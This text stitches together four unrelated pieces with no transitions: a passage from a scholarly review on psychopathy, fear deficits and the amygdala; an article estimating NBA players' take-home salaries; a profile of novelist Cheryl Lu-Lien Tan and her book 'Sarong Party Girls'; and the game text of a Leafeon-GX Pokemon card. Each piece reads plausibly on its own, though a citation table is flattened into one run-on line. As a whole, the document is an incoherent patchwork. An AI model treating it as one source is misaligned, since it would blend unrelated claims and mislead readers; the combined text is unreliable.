contemporary measures of psychopathy feature items related to the experience of wanting, seeking, and excitement, including the Psychopathy Checklist, e.g., “Stimulation seeking” (Forth et al., 2003); the Youth Psychopathy Inventory, e.g., “If I get the chance to do something fun, I do it no matter what I had been doing before” (Andershed et al., 2002); the Levenson Self-Report Psychopathy Scale, e.g., “My main purpose in life is getting as many goodies as I can” (Levenson et al., 1995), and the Psychopathic Personality Inventory, e.g., “If I were a firefighter, I think I might actually enjoy the excitement of trying to rescue someone from the top floor of a burning building” (Lilienfeld and Andrews, 1996). Empirical behavioral data also exist to suggest that the motivational salience of rewarding stimuli is similar to that of comparison samples (Blair et al., 2004) or perhaps even increased (Scerbo et al., 1990; Bjork et al., 2012). Because positive excitement is not always included on lists of basic emotion it is subject to less focused research than emotions like anger and fear. However, what evidence exists suggests that this state is intact or heightened in psychopathy. There is very little evidence available that describes other types of emotional reactions in psychopathy, although what evidence exists suggests that disgust responding remains intact, and there is little evidence for consistent impairments in happiness or surprise (Marsh and Blair, 2008; Marsh et al., 2011; Dawel et al., 2012). One emotion for which the present literature is genuinely ambiguous is sadness, with meta-analytic findings generally showing some deficits in recognizing sadness expressions in psychopathy, albeit less consistently and with generally smaller effect sizes than for fear. Very little literature explores sadness responses in psychopathy in other contexts, and results from these studies are equivocal (e.g., Blair et al., 1995; Brook and Kosson, 2013) In general, the neurobiological basis of sadness is not as well understood as that of fear, and further development of the neurocognitive basis of sadness may be required to develop targeted tasks assessing it in psychopaths. It should be noted that among Cleckley's original criteria is “General poverty in major affective reactions” which is reflected in items measuring shallow affect in contemporary measures such as the PCL variants and APSD (Hare, 1991; Frick and Hare, 2001). However, Cleckley's emphasis is primarily the quality of the anger, excitement, etc. that psychopaths experience—how long-lasting these states are, how consistent, and how “mature” their expression. Thus, whereas psychopaths may display outward signs of rage and become “vexed,” “peevish,” or “resentful,” Cleckley proposes that they do not experience “mature, wholehearted anger” (Cleckley, 1988, p. 348). The lability or consistency of affective reactions in psychopathy may be an important feature of the disorder. However, it remains the case that among basic emotions, only in the case of fear does strong, consistent empirical evidence support the existence of deficits in psychopathy.
Are emotions discrete natural kinds or constructed using dimensions of core affect? These patterns of observed emotional responding in psychopathy may help to explicate a central ongoing question about emotion, namely: can emotions be better described as qualitatively distinct, for example, as discrete “basic emotions” or “natural kinds” (Ekman et al., 1983; Izard, 1992; Panksepp, 2005) or as quantitatively distinct, for example, as points along a circumplex defined by dimensions like arousal and valence (Russell and Barrett, 1999; Barrett and Wager, 2006)? Recent years have seen a protracted debate in the literature about how to most accurately capture the nature of emotion (Barrett et al., 2007; Izard, 2007; Panksepp, 2007; Tracy and Randles, 2011), with proposed models of emotion including not only basic emotion and dimensional models, but also those that focus upon goal-relevant appraisals of emotional stimuli (Moors et al., 2013), emotions as coping responses (Roseman, 2013), and emotions as survival circuits (LeDoux, 2012). An extended conversation about the strengths and weaknesses of these various views will not be reviewed in full here, rather, the focus will be on the basic consideration of whether different emotions (e.g., fear, anger) are best viewed as qualitatively or quantitatively distinct. Models that posit emotions to be qualitatively distinct, such as “basic emotion” models, holds that a limited number of emotions like fear, anger, and positive excitement emerge from dissociable neurophysiological processes (Ekman et al., 1983; Izard, 1992; Panksepp, 2005; Lench et al., 2011). These neurophysiological processes are generally linked to activity in the evolutionarily ancient subcortical structures of the midbrain, striatum, and limbic system most commonly linked to emotion (Panksepp, 2005; Vytal and Hamann, 2010). So, for example, the generation of positive excitement is linked to activation in a striatal circuit centered on dopaminergic neurons in the nucleus accumbens (Ikemoto and Panksepp, 1999), whereas the generation of fear is associated with activity in a circuit involving the periaqueductal gray, anterior and medial hypothalamus, and amygdala (LeDoux, 2000). In this view, finer gradations of experience result when basic emotions are modulated or elaborated by higher-level cognitive processes controlled by the cerebral cortex, but the emergence of qualitatively distinct emotions is not dependent on these cortically-controlled processes (Panksepp, 2005). Models that posit emotions to be quantitatively distinct hold that emotions like fear, anger, and happiness are best described as points on one or more core dimensions. Core dimensions typically proposed to distinguish among emotions are physiological arousal or activation (low—high) and valence (bad—good) (Bradley et al., 2001). [Some have proposed a withdrawal—approach dimension as a substitute or supplement to the valence axis (Wager et al., 2003; Christie and Friedman, 2004; van Honk and Schutter, 2006)]. Arranged orthogonally, these dimensions form a circumplex upon which emotions can be plotted and quantitatively compared (Barrett and Russell, 1999; Russell and Barrett, 1999; Colibazzi et al., 2010). Positive excitement is plotted as high in arousal and positive in valence, and sadness is low in arousal and negative in valence. Fear is typically plotted as high arousal and strongly negative, as is anger (Russell and Barrett, 1999). Further distinctions among emotions are thought to reflect differences in cognitive construals of the events surrounding the basic changes in arousal and valence. Thus, whether an individual experiences anger or fear (which are similar in terms of arousal or valence) may be shaped by interpretations of neurophysiological changes in valence and arousal in light of the eliciting stimulus and the individual's idiosyncratic stores of semantic knowledge, memories, and behavioral responses that shape the subjectively experienced state (Russell, 2003). Under this view, distinctions among experienced emotional states are highly dependent on these cognitively complex processes, which are subserved by a distributed network of regions of the cerebral cortex (Lindquist et al., 2012). These models generate distinct predictions to the question of whether a disorder or lesion could result in a single emotion being disabled without affecting the experience of other emotions. The discrete emotions view would argue that a disorder or lesion that resulted in dysfunction in the specific structures subserving a particular emotion could affect the experience of one emotion while leaving others intact. In contrast, the dimensional view would require either that other emotions that are dimensionally similar to the affected emotion also be affected, or that deficits in a particular emotion would reflect dysfunction in cortically-driven higher-level cognitive processes. The case of psychopathy lends clear support to notion that fear is qualitatively distinct from other emotions. In psychopathy, the bulk of the clinical and empirical evidence points toward the conclusion that fear responding is uniquely disabled, with other high-arousal (positive excitement, anger) and negatively valenced (anger, disgust) emotions remaining intact. The dimensional view cannot easily explain why in psychopaths the high arousal, negatively valenced state of anger is easily (perhaps too easily) generated, whereas the high arousal, negatively valenced state of fear is not. The problem cannot lie in a failure to fully engage neurocognitive systems underlying either the arousal or valence dimension, because psychopaths experience other high-arousal emotions (positive excitement) as well as other negatively valenced emotions (disgust). It also cannot result from some difficulty arising at the interaction of these axes, because anger and fear are highly similar in terms of both dimensions. Models that substitute a withdrawal—approach axis for a negative—positive axis are no more successful; the two most strongly withdrawal-linked emotions are disgust and fear, and there is no evidence for disgust-based impairments in psychopathy. Can cognitive construals of emotion explain the patterns observed in psychopathy? Perhaps, one could argue, psychopaths under threat are less likely to construe their negative, high-arousal state as fear and more likely to construe it as anger compared to non-psychopaths. So, for example, the psychopath whose interview is transcribed above might interpret a pounding heart and churning stomach as the angry response that accompanies a tendency to respond aggressively. Another person might interpret the same body symptoms as the fear that accompanies a tendency to escape or submit. Theoretically, this explanation could explain both the deficits in fear and a concomitant increase in anger in this population. One could argue that, particularly for studies that focus on subjective reports of emotion, group differences in construal underlie the tendency of psychopaths to underreport experiencing fear and overreport experiencing anger. This argument suffers two shortcomings. First, it is inconsistent with psychophysiological findings of overall reduced arousal during threat anticipation in psychopathy. As described above, there are two major categories of anger elicitors: perceived threat and goal frustration (Blair, 2012). The construal argument would require that psychopaths experience arousal in response to threat, but interpret this arousal as anger rather than fear. But the evidence is clear that psychopaths (particularly primary psychopaths) are no more likely than average to experience physiological arousal under conditions of threat (Blackburn and Lee-Evans, 2011)—and in fact, as described previously, show reduced physiological responses, including reduced skin conductance, potentiated startle, and corrugator muscle activity. This suggests that threat anticipation results in neither fear nor anger in this population. Psychopaths are, however, more likely than average to experience anger is in response to frustration (Blair, 2012). Thus, rather than being chronically likely to construe any high arousal state as anger, psychopaths appear more likely to experience anger primarily in response to frustrated attempts to achieve a reward. That both frustration-based anger and positive excitement (the state that reflects the anticipation of reward) are normal or elevated in psychopathy is consistent with the notion that in psychopaths the systems that govern anticipation of reward are functional and perhaps even overactive while the systems that govern threat anticipation are dysfunctional. A further concern is that the construal explanation of emotion leaves unclear why psychopathy might engender such a dramatic shift in emotional experience. Such a phenomenon is particularly difficult to explain in light of the high heritability coefficient found for psychopathy. Cognitive construals of emotional states are thought to reflect the individual's autobiographical memories and semantic knowledge of emotion prototypes, phenomena that are necessarily a result of learning, rendering it unlikely that the tendency to construe one's emotional response to an event as fear versus anger would itself be heritable. The pattern of reduced fear responding to anticipated threat observed in psychopathy, then, is more consistent with the view that states like anger and fear reflect biologically coherent and qualitatively distinct responses to particular eliciting stimuli. Dimensions like valence and arousal are useful means of quantitatively describing differences among subjective feeling states like fear, anger, and positive excitement, but may not accurately reflect the neurobiological origins of those states.
What are the brain structures involved in generating specific emotions like fear? If psychopathy is associated with specific deficits in fear responding, this not only supports the idea that emotions are qualitatively distinct, it supports the corollary that specific neurophysiological processes that support the fear response are also affected. A key feature of models of discrete emotions is that distinct emotions have dissociable neurophysiological correlates (Vytal and Hamann, 2010). Ekman (1999) has argued: The distinctive features of each emotion, including the changes not just in expression but in memories, imagery, expectations, and other cognitive activities, could not occur without central nervous system organization and direction. There must be unique physiological [CNS] patterns for each emotion (p. 50). Limited evidence exists to suggest specific patterns of peripheral nervous system activity that accompany discrete emotions (Ekman et al., 1983; Christie and Friedman, 2004), however, assuming that the origins of basic emotions are in the central nervous system, most research in this vein has focused on the central origins of emotions, specifically, the structures or networks of brain structures in which activity supports the emergence of particular emotions (Panksepp, 2007; Vytal and Hamann, 2010; Lindquist et al., 2012). The availability of non-human animal analogues has made fear one of the best-studied emotions on a neuroanatomical level. On the whole, the empirical data support the idea that the amygdala, along with its efferent projections, is an essential structure for the generation of conditioned fear responses, which account for the majority of experienced fear (Davis, 1992, 1997). [Unconditioned fear in response to specific events like carbon dioxide-induced air hunger may rely on distinct neural pathways (Johnson et al., 2011; Feinstein et al., 2013)]. Extensive early evidence demonstrated that the amygdala plays a crucial role in the creation of conditioned fear in rodents. For example, lesions to the amygdala prevent rats from developing a conditioned fear response, like freezing in response to a stimulus that predicts shock (Blanchard and Blanchard, 1972). Later studies clarified the roles of the various subnuclei of the amygdala, demonstrating that the lateral nucleus is primarily involved in the acquisition of the fear response whereas the central nucleus is involved in both the acquisition and the expression of conditioned fear responses (Davis, 1992; Wilensky et al., 2006). The amygdala's many efferent projections coordinate autonomic and behavioral responses to fear eliciting stimuli. Projections from the central nucleus of the amygdala to the lateral hypothalamus are involved in activating autonomic sympathetic nervous system responses, and projections to the ventrolateral periaqueductal gray direct the expression of behavior responses, such as defensive freezing (Davis, 1992; LeDoux, 2012). The amygdala's central role in coordinated fear responding can be demonstrated by electrical stimulation studies showing that complex patterns of behavioral and autonomic changes associated with fear responses result from stimulation of the relevant regions of the amygdala (Davis, 1992). Heavy reliance on animal models is justified in the study of fear responding and the amygdala given how strongly conserved the amygdala nuclei involved in responding to conditioned threats are across species ranging from reptiles to birds to rodents to primates (LeDoux, 2012). Ethical and pragmatic considerations prevent experimental paradigms employing electrical stimulation or ablation of the amygdala from being undertaken in human subjects. However, the advent of neuroimaging technologies have enabled considerable assessments of subcortical responses to a variety of emotional stimuli, enough to provide a basis for seven meta-analyses that have been conducted to assess patterns of brain activation in response to specific emotions (Phan et al., 2002; Murphy et al., 2003; Kober et al., 2008; Sergerie et al., 2008; Fusar-Poli et al., 2009; Vytal and Hamann, 2010; Lindquist et al., 2012). The findings from four of these meta-analyses support the role of the amygdala in human fear responding. Phan and colleagues reviewed 55 PET and fMRI studies (including 13 that assessed fear responding) and found that fear specifically activated the amygdala relative to other emotions (Phan et al., 2002). Sixty percent of studies assessing fear responses observed an increased amygdala response whereas fewer than 25% of other emotional tasks resulted in amygdala activation increases. Murphy and colleagues reviewed 106 PET and fMRI studies (Murphy et al., 2003) and again observed the most consistent amygdala responses during the induction or perception of fear relative to other emotions, interpreting their data as consistent with amygdala specialization for fear. In neither meta-analysis was any other structure observed to be consistently and selectively activated during fear paradigms. Fusar-Poli and colleagues included only fMRI studies assessing responses to emotional faces, but again found heightened amygdala responses to fearful faces relative to other emotional faces (Fusar-Poli et al., 2009). Finally, Vytal and Hamann (2010) employed a more sensitive meta-analytic method, activation likelihood estimation (ALE), to analyze the results of 83 PET and fMRI studies of emotion (including 37 that assessed fear responding) and again found strong support that the amygdala is preferentially active during fear paradigms, and this activation in this region differentiated fear from happiness, sadness, and disgust. Three recent meta-analyses did not yield findings that fear is preferentially associated with amygdala activation. Two were conducted by Feldman-Barrett and colleagues (Kober et al., 2008; Lindquist et al., 2012). In the more recent analysis, Lindquist and colleagues analyzed 91 fMRI and PET studies of emotion, including 42 assessing fear (Lindquist et al., 2012). The authors observed that, bilaterally, the amygdala was the most active brain region during fear perception paradigms (although not significantly more active during fear than other emotions), but that the amygdala was not preferentially active during fear experience paradigms. The selection of studies in this meta-analysis may account in part for the differential findings. For example, of the nine fear-experience studies included in this analysis, six were conducted by a group that uses primarily IAPS pictures (Lang et al., 1999) and similar images to elicit disgust and fear (e.g., Stark et al., 2003; Schienle et al., 2005). These studies may be problematic because many of the “fear” images they use explicitly depict strong non-fear emotional cues (human or animal anger expressions) or depict events like a car accident or lava covering a road that are unpleasant but not obviously frightening. These meta-analyses also omitted pain anticipation and mood induction tasks included in other meta-analyses that are more directly relevant to fear experience (Murphy et al., 2003; Vytal and Hamann, 2010). The third meta-analysis (Sergerie et al., 2008) also excluded pain anticipation and mood induction tasks, in addition to employing a distinct analytical approach, whereby the authors compiled the statistical effect sizes of all studies of emotion (148 in total) that reported any activation in the amygdala and its surrounding regions. This approach yielded results showing amygdala activation that was stronger in response to positive emotional stimuli than to any negative emotional stimuli. Clearly, the conclusions drawn from the various meta-analyses are divergent enough to leave questions remaining as to whether the amygdala is in fact specifically implicated in fear responding. Can the study of psychopathy clarify the role of the amygdala in fear experience? Perhaps, given the prominence of dysfunctional fear responding in psychopathy, empirical support that amygdala dysfunction underlies aberrant fear responding in psychopathic participants would support the amygdala's role in fear. And indeed, early hypotheses about the brain basis of psychopathy focused on potential amygdala dysfunction (Patrick, 1994; Blair et al., 2001). More recently, the results of both functional and structural neuroimaging studies support these hypotheses. Several studies have observed that psychopathy is associated with reduced amygdala activation during the viewing of fearful emotional facial expressions but not other expressions like anger, a pattern that is independent of attentional processes (Marsh et al., 2008; Dolan and Fullam, 2009; Jones et al., 2009; White et al., 2012). A recent study also found that psychopathy assessed in a community sample was also associated with a failure to exhibit amygdala activation to fear-evoking statements (Marsh and Cardinale, 2012b). Again, no group differences were observed in this task when other emotionally evocative statements were presented. (In addition, no main effect of fear stimuli was observed in the amygdala across groups. This suggests that amygdala responses to fear may fail to emerge in neuroimaging studies when the sample contains an unusual proportion of high psychopathy scorers.) Finally, a fear-conditioning paradigm found that psychopaths' failure to exhibit skin conductance responses during the task was accompanied by reduced activation in the amygdala and functionally connected regions of the cortex, such as orbitofrontal cortex and insula (Birbaumer et al., 2005). These patterns of dysfunction may stem from structural abnormalities in the amygdala, which have also been observed in psychopathy. Structural abnormalities across multiple nuclei in the amygdala have been observed in psychopathy (Yang et al., 2009, 2010; Ermer et al., 2012). Yang and colleagues observed not only significant bilateral volume reductions in the amygdalae of adult psychopaths relative to controls controls, but also surface deformations in the vicinity of the amygdala's basolateral, lateral, cortical, and central nuclei. A later study indicated that these deformities are more significant in “unsuccessful” psychopaths, or those who have been prosecuted for their criminal acts (Yang et al., 2010). Ermer and colleagues identified gray matter reductions in adult psychopaths' amygdalae, in addition to other paralimbic regions such as parahippocampal gyrus (Ermer et al., 2012). It should be noted that how specific nuclei of the amygdala are involved in psychopathy is not yet clear, in part due to insufficient spatial resolution of functional imaging scan. Various hypotheses have been proposed regarding the role of discrete nuclei in psychopathic symptoms (Blair, 2005a; Moul et al., 2012). On the whole, the results of these studies directly link amygdala dysfunction to observed deficits in fear responding in psychopathy. But perhaps the most compelling evidence that amygdala dysfunction underlies fear deficits in psychopathy emerges from the results of paradigms testing fear responding in psychopaths and individuals with lesions to the amygdala. As previously described, psychopathy has been found to impair anticipatory skin-conductance responses (Lykken, 1957; Aniskiewicz, 1979; Herpertz et al., 2001; Birbaumer et al., 2005; Rothemund et al., 2012), fear-potentiated startle responses (Levenston et al., 2000; Herpertz et al., 2001; Rothemund et al., 2012), aversive classical conditioning (Flor et al., 2002), subjective experiences of fear (Marsh et al., 2011) and the recognition of fear from the face, body and voice (Marsh and Blair, 2008; Dawel et al., 2012). Striking parallels to these deficits can be found in studies of individuals with amygdala damage. In these individuals, comparable impairments in each of these fear paradigms have also been observed (Table ). Table 1 Psychopathy Amygdala lesions Potentiated startle Levenston et al., 2000; Herpertz et al., 2001 Angrilli et al., 1996; Buchanan et al., 2004 Anticipatory SCR Hare, 1982; Ogloff and Wong, 1990; Rothemund et al., 2012 Bechara et al., 1995 Aversive conditioning Lykken, 1957; Flor et al., 2002 LaBar et al., 1995; Bechara et al., 1999 Facial fear recognition Blair et al., 2004; Marsh and Blair, 2008 Adolphs et al., 1994, 1999 Vocal fear recognition Blair et al., 2002, 2005 Scott et al., 1997; Sprengelmeyer et al., 1999 Postural fear recognition Munoz, 2009 Sprengelmeyer et al., 1999 Reduced subjective fear Marsh et al., 2011 Masaoka et al., 2003; Feinstein et al., 2011 Open in a separate window Because amygdala dysfunction has been observed in psychopathy during several of these tasks, and because amygdala lesions impair performance in all of them, these patterns generate a compelling case for the role of the amygdala specifically in fear responding. Consistent with this, researchers studying one patient with bilateral amygdala damage (SM) clarify that she has not only striking deficits in fear responding, but these deficits are limited to fear responding: SM's reaction to fear-inducing stimuli was not characterized by a loss of responsiveness, but rather manifested as a heightened arousal and interest in the face of a near-complete lack of avoidance and caution … Our findings suggest that the amygdala's role in the induction and experience of emotion is specific to fear. To say that SM is emotionless or unable to feel emotion is simply false. Her emotional deficit is primarily circumscribed to the behaviors and experiences that characterize a state of fear (Feinstein et al., 2011). The clear correspondence between patterns of fear dysfunction observed in psychopathy and following amygdala lesions, in the absence of other clear emotional deficits, provides strong support for the specific involvement of the amygdala in fear. Dysfunction in the amygdala, whether via acquired lesion or developmental psychopathology, impairs fear-related processes while leaving other forms of emotion, such as anger, positive excitement, and disgust, largely intact. In answer to our second question, then, research in psychopathy suggests that the amygdala—or, more likely, specific populations of neurons within the amygdala (LeDoux, 2012)—plays a critical role in generating fear but does not appear to be critical for other emotions like positive excitement and anger.
At the beginning of each season, when the salaries of pro athletes are publicized, we're always left wondering: How much do they actually take home?
This NBA season, we partnered with sports tax expert Robert Raiola, director of the sports and entertainment group for PKF O'Connor Davies, to analyze the salaries of the league's highest paid players. We crunched their paychecks to come up with our best estimates of what they walk away with after deductions, as outlined to us by representatives of the players union.
You'll notice that deductions from gross salary include federal, state and city taxes (and in Kyle Lowry's case, Canadian taxes), agent fees (assumed at 3 percent) and a maximum 401K contribution of $18,000. In the case of players who live in a no-income-tax state, you'll see that they are paying taxes -- so-called "Jock Taxes" from playing in other states.
You'll also see that players get back the 10 percent of their salary that was held in escrow from last season, after it is taxed. And they lose 10 percent to escrow for this year, which will be given back as long as the owners pay the players the agreed upon 51 percent of Basketball Related Income (BRI). You'll also notice a surplus that players will get this year. Every player receives $355,449 (before taxes) because after the 10 percent escrow was given back, there was additional money, a shortfall of $163.5 million in total, that needed to be given back to reach the agreed upon percentage.
Note that only paychecks were analyzed here and not any additional revenue the players take in, such as endorsement income.
For the previous four seasons, Stephen Curry was paid a total of $44 million. Thanks to a five-year, $202 million extension, Curry will now average $40.2 million per season. Curry's salary of $34.8 million this season tops the previous high of $33.1 million by Michael Jordan in 1998. If you adjust for inflation, however, that top MJ salary is $50 million in today's dollars.
LeBron James grosses $33.2 million this season. He can re-sign with the Cavaliers for about $207 million for the next five years next summer. Or he can max out with another team in a four-year deal that will pay him about $54 million less. James signed a lifetime deal with Nike that will add another $1 billion to his fortune. He has been strategic in his business investments, cashing out recently in Beats By Dre when the deal with Apple went down ($30 million), and his equity in Blaze Pizza is at $35 million from a less than $1 million investment.
Paul Millsap has the greatest rise in salary from his rookie season to today. As a 2006 second-round draft pick of the Utah Jazz, Millsap made $2.1 million for his first three seasons. Now, in his 12th season in the league, he's making more than 15 times that.
Gordon Hayward signed a four-year, $128 million max deal in his move from Utah to Boston. But Hayward's move to Massachusetts comes at a tough time. A proposed amendment could raise state taxes on earners above $1 million from 5 percent to 9 percent, beginning in January.
Despite injuries and one high-profile fight, Blake Griffin was re-signed by the Clippers to a five-year deal worth $171 million. The 13.3 percent California state tax takes a huge haircut off his earnings.
Kyle Lowry made a combined $65 million in his first 11 years in the NBA. He'll make a guaranteed $93 million for the next three. Lowry is assessed a 53.5 percent tax on his Canadian source income. He receives a partial foreign tax credit in the U.S.
Last season Mike Conley signed the biggest contract in NBA history with a deal totaling $153 million. He responded by having his greatest scoring season, with 20.5 points per game while shooting 40 percent from 3-point range.
Russell Westbrook is eligible to sign a five-year extension with the Thunder worth $207 million. There's something to be said for value of the money in Oklahoma City, the NBA's smallest market. But Westbrook already owns a home in Los Angeles. He bought it for $4.65 million in December 2015 from Kardashian star Scott Disick.
James Harden signed a $169 million supermax extension in the offseason that will begin in 2019-20. Combined with the two years, $59 million left on his current contract, Harden is owed an NBA record $228 million of salary. Harden will earn $570,732 a game in his final season under contract (2022-23). He pays no state income tax on his non-salary revenue, such as endorsements, thanks to his living in Texas. That's big, considering he signed a 10-year, $200 million deal with Adidas.
Al Horford scored 14 points and had nearly seven rebounds per game last season. He is in the second year of a $113 million contract. Some fans were concerned about the size of his contract last season, but a year later, with more money being paid out, his contract looks a little better this season.
In 2009, Cheryl Lu-Lien Tan found herself hanging out in Singapore with a group of newly divorced high school friends who had started calling themselves “sarong party girls.” Tan had been recently laid off from her job as a fashion writer at the Wall Street Journal in an economic downturn and come home to Singapore to write a memoir about food—and, as it turned out, deep fissures in her family. Days were spent learning recipes from her aunties and discovering secret sources of family shame. Evenings, Tan would accompany her friends to the fashionable bars and clubs favored by SPGs. The nightlife districts swarmed with these attractive young women in short skirts and killer makeup.
Tan’s friends, in their mid-30s, were a little too old to be true SPGs. The real sarong party girls were working-class Chinese women in their 20s, dancing atop club podiums in fluorescent bras or lying down on bars to let strangers lick shots from their navels, women using their bodies in their quest for one thing: a white husband.
“I’ve always been fascinated by them,” Tan told me when we met recently in Manhattan, where she lives and writes again for the Journal. “And by that whole culture in Singapore of materialism and status, and how race fits into that. Why do we value white men above Chinese or Indian or Malay? In a sense it’s a holdover from our colonial days.” It was just a couple of weeks before the launch of her very funny, irreverent, sharp-eyed debut novel, Sarong Party Girls, about women using their sexual power—the only power they possess—to better their lives in a country driven by money.
The sarong party girl originated in colonial Singapore when British soldiers brought local women to their officers’ parties. Sarong, that delicate wrapped skirt, as a modifier of girl suggests a European view of exotic beauty and the submission of East to West. Over time, the stereotype of the SPG coarsened into a gold-digging Asian vamp who uses her wiles to seduce hapless white men. Tan was intrigued by her barstool view of 21st-century sarong party girls, their glamor and ferocious materialism—the worship of the Prada handbag, the Seven jeans—their lives circumscribed by persistent forces of racial and sexual politics.
“I wanted to tell the story of what it’s like to be a young woman in modern Asia,” Tan said, “just sort of the struggle of it.” It’s a story she hasn’t lived but has observed with fascination during her frequent trips home, since leaving Singapore in 1993 to study journalism at Northwestern. “Women have certain roles and, often, men are allowed to play around. The concubine culture is alive and well.”
Tan herself seems to have eluded these prescribed female roles. She is a poised career journalist with a talent for connecting with people—a chance meeting led to her becoming editor of Singapore Noir, part of a popular fiction anthology series published by Akashic Books. Though married at the time, she spent periods of time away from home at writers’ residencies around the country and abroad to focus on her novel. Tan’s earlier visit home to learn to cook family dishes had been a conscious attempt by her to claim part of her traditional feminine identity. In the beautiful memoir that resulted, A Tiger in the Kitchen, Tan writes that her family attributes her rebellious streak and fierce ambition to her birth in the Year of the Tiger. Her mother used to scold her strong-willed daughter that female Tiger babies were killed in ancient China.
Tan can write like the devil—her memoir was completed in just seven weeks to meet the publisher’s deadline—but she struggled with formulating a journalistic book on the sarong party girl subculture. No recipe emerged, but she knew what she wanted to cook. Sitting down at her keyboard one morning, she started typing and by the next day had the first chapter of Sarong Party Girls, a novel that opens on a note of desperation:
Aiyoh, I tell you. If we do nothing, we are confirm getting into bang balls territory. We have to figure out how to make this happen—and we have to do it now.
Jazzy, Tan’s protagonist, spills out her story in Singlish, the Singaporean street vernacular, a patois that punches up the queen’s English with its distinctive grammar, slang, and smattering of vocabulary from Chinese dialects, Tamil, and Malay. The this that Jazzy wants to make happen is marriage to one of the well-paid, suit-wearing white expats pouring into the global business hub of Singapore. We includes her two best friends, Imo and Fann, also unmarried and in search of husbands. The marriage effort has to be kick-started now because Jazzy lives between two worlds, the Westernized city she works and parties in, and her traditional Chinese home culture, which expects a girl of 26 to be married already.
Tan cleverly uses humor to examine the women’s vulnerabilities and pathos. Her satire builds upon Jazzy’s one-month game plan for the three to identify their competition and move in on the best potential Caucasian husbands. The alternative Jazzy dreads is to end up like another good friend who settled for marrying an Ah Beng, a lower-class Chinese guy with a long pinky nail and few prospects who makes her want to “vomit blood.” If the premise rings of chick lit, the scenes of women being sexually debased in clubs, bars, and hostess lounges are cut from a darker material.
Tan distills the dilemma of Jazzy’s identity in her challenge to find a white man interested in a genuine relationship with her—“Not just one night garabing garabung then everything is over already,” as Jazzy says. The problem is that ang mohs—white men—are used to having local women make themselves easily available, and the women are accustomed to being quickly discarded. Yet the swooning Orientalism of a smitten Brit Jazzy has just slept with—“But you Asians—whoo … just, wow! Your skin, your eyes, your hair—my god!”—only makes her cynical: “Aiyoh, this kind of obvious thing also must say. … He’s trying to make me feel special is it? Say my skill very good is it? Kani nah. Maybe I should fasterly go home.”
Jazzy’s voice is the heart and soul of the book: tart, spirited, brazen, naïve, knowing. Without hearing her Singlish playing in her mind, as if she were being dictated to, Tan said there would have been no novel. It’s a story that couldn’t exist in standard English. “Jazzy is of that culture that speaks it all the time,” Tan explained. “It has such immediacy of expressing her thoughts that I felt like Singlish was another character in the book.” Singlish also invests Jazzy with an authenticity she ironically struggles to strip herself of in the attempt to fashion herself into a thoroughly modern, Westernized woman—dropping her Chinese name Ah Huay for Jazzy, shunning the shameful memory of grandfathers who worked as coolies on the docks, recoiling from traditional Chinese milieus like the shabby wet market where animals are slaughtered.
Yet the rampant sexism of an age-old Asian patriarchy reaches beyond Jazzy’s congested working-class neighborhood into the moneyed city of glittering glass towers. Jazzy is unfazed; exploitation is her reality. The best she can do is manage it. Fearful of losing her plush job as assistant to the editor-in-chief of a newspaper, an older man who generally scraps his secretaries by the time they hit 24, she does everything she can to please and titillate. This includes a kind of daily office burlesque—posing provocatively against the editor’s desk, sitting with her legs slightly apart on his sofa. “Some people hang nice art on their walls; others look at legs. Who can’t understand that?” she argues in her boss’s defense.
I asked Tan if Singaporean workplaces were really so flagrantly sexist. Everything she’s written, she said, comes from stories she’s heard from friends and acquaintances or things she’s seen herself. Sarong appears to be a well-reported fiction.
Cheryl Tan. James Veall
In dispatching Jazzy and her friends on a sort of sexual tour of the nightlife areas to assess their rivals, Tan astutely illustrates how Jazzy’s thinking is changed by what she sees. There are the hungry girls from mainland China (“cheongsam sluts”), desperate enough to hook up with grandfathers. The teenage Thai girls in bars being fondled under their skirts by obese, old white men—girls who elicit rare tenderness in her. The paid hostesses in private karaoke lounges, called KTV, ordered up to rooms by groups of businessmen like so many dishes—one with big boobs, one with long legs. (Tan pumped her male friends for details on these men-only lounges, and one praised the KTV lounges in Taiwan as superior because naked women fed the men.) Though Jazzy has been blasé about her own mistreatment by men, thinking nothing of being groped by strangers on the dance floor (“rubba-ing”) or pressured to sleep with them, the stunning degradation of other women moves her to pity and even to offer to help, calling into question the glamorous world she wanted to climb up in.
I mentioned to Tan that in South Asian culture (my background), the sexuality of young women, both Hindu and Muslim, is covered up, denied, the honor of family dependent on the honor and purity of its daughters. I was surprised that East Asian culture appeared so different, the sexuality of young women exposed, the girls treated like sexual playthings. Was this accurate? What’s surprising about Singapore, Tan said, is that it is a very patriarchal Asian society beneath its progressive, modern façade. In such a society, men view their wives as mothers and other women as sex objects. “When my friends and I were growing up, we looked at our parents’ generation, and a lot of men had mistresses and second families,” she recalled. “That was just accepted. You didn’t talk about it. We were like, ‘We’ll never stand for that.’ But then I saw a lot of my friends had gotten divorced. The guys in our generation didn’t grow up to be much different than in our parents’ generation. Concubine culture perhaps will never leave Asia because it’s just so easy to keep it going.”
At a time when American publishers are being assailed by writers of color for putting out too few diverse books, Sarong appears as an unexpected outlier. Not only does it introduce American readers to unfamiliar Asian characters, it does so entirely on its own terms, rising off the page in the Singlish parlance beloved by Singaporeans, a language the government has tried vigorously to stamp out with a multimillion-dollar “Speak Good English” campaign. Tan calls her novel “a subversive celebration of a patois that I love,” while the late Lee Kuan Yew, the founder of modern Singapore who turned an impoverished colonial port into an international financial capital, called Singlish “a handicap we do not wish on Singaporeans.” It is a question of identity versus image, of who you are versus what you wish to become.
In light of the cultural skirmishes in the book world, it’s worth examining Sarong’s presentation to a Western audience. The cover image of a svelte, miniskirted Asian fashionista posing against an urban skyline suggests chick lit. “Emma set in modern Asia” says the jacket copy. Yes, there are the common bones of a marriage plot. But Sarong is interesting in all the ways it diverges from Emma. Jane Austen’s England is a homogenous society, uncomplicated by differences of race and culture. Emma is not compelled to question her identity like Jazzy—how Western is she? How Chinese? What assaults on her inner self is she willing to condone by the white man she hopes to catch?
“I feel a lot of these stories haven’t been told in literature here,” Tan said. “I really wanted to throw that door open.”
Sarong Party Girls by Cheryl Lu-Lien Tan. William Morrow.
Leafeon-GX – Grass – HP200
Stage 1 – Evolves from Eevee
Ability: Nature’s Breath
Once during your turn (before your attack), if this Pokemon is your Active Pokemon, you may heal 50 damage from 1 of your Pokemon with Energy attached.
[G][C][C] Solar Beam: 110 damage.
[G] Grand Bloom GX: For each Basic Pokemon on your Bench, search your deck for a card that evolves from that Pokemon and put it onto that Pokemon. (This counts as evolving that Pokemon.) Then, shuffle your deck. (You can’t use more than 1 GX attack in a game.)
When your Pokemon-GX is Knocked Out, your opponent takes 2 Prize cards.
Weakness: Fire (x2)
Resistance: none
